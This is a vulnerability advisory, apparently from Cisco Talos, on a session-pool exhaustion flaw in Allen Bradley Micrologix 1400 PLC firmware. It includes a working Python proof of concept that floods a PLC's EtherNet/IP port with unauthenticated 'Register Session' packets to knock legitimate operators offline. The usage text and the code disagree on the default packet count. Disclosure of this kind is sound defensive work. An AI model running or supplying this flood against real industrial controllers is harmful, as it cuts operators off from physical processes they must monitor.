An exploitable insufficient resource pool vulnerability exists in the session communication functionality of Allen Bradley Micrologix 1400 Series B Firmware 21.2 and before. A specially crafted stream of packets can cause a flood of the session resource pool resulting in legitimate connections to the PLC being disconnected. An attacker can send unauthenticated packets to trigger this vulnerability.
Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15
5.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CWE-410: Insufficient Resource Pool
The Micrologix 1400 can support up to ten active connections at any point in time. When ten active connections already exist and another connection request comes in, the PLC will disconnect the oldest connection and allow the new connection. By creating a loop of 'Register Session' packets (the same kind used by RSLinx to create a connection) it is possible to disconnect an existing RSLinx/RSLogix session, preventing the user from accessing the PLC. When this occurs the PLC continues to operate in whatever state it was previously in.
A user in an online RSLogix session will be notified that their connection has been disconnected through the normal communications loss alert. Within this alert the user has the ability to reconnect. If this is done the new RSLogix session will push out one of the malicious sessions, however if the malicious 'Register Session' packets are flooding the system, the legitimate session will quickly be pushed out of the queue again.
Usage: python .py -i [-p ] [-n ] Where the elements are as follows: - : whatever name you give the script - : ip address of the plc - : EtherNet/IP port (defaults to 44818) - : the number of packets to send (defaults to 10000)
import argparse import socket parser = argparse.ArgumentParser() parser.add_argument("-i", "--ipaddr", help="target ip address", type=str) parser.add_argument("-p", "--port", help="target port", default=44818, type=int) parser.add_argument("-n", "--numpackets", help="the number of packets to send", default=100000, type=int) args = parser.parse_args() dst = args.ipaddr port = args.port num_packets = args.numpackets def register_session(): registersession_data = "\x65\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x28\x1e\x4d\x00\x00\x00\x00\x01\x00\x00\x00" sock.send(registersession_data) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((dst, port)) for i in range(num_packets): register_session() sock.shutdown(socket.SHUT_RDWR) sock.close()
2017-09-22 - Vendor Disclosure
2018-03-28 - Public Release
Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos.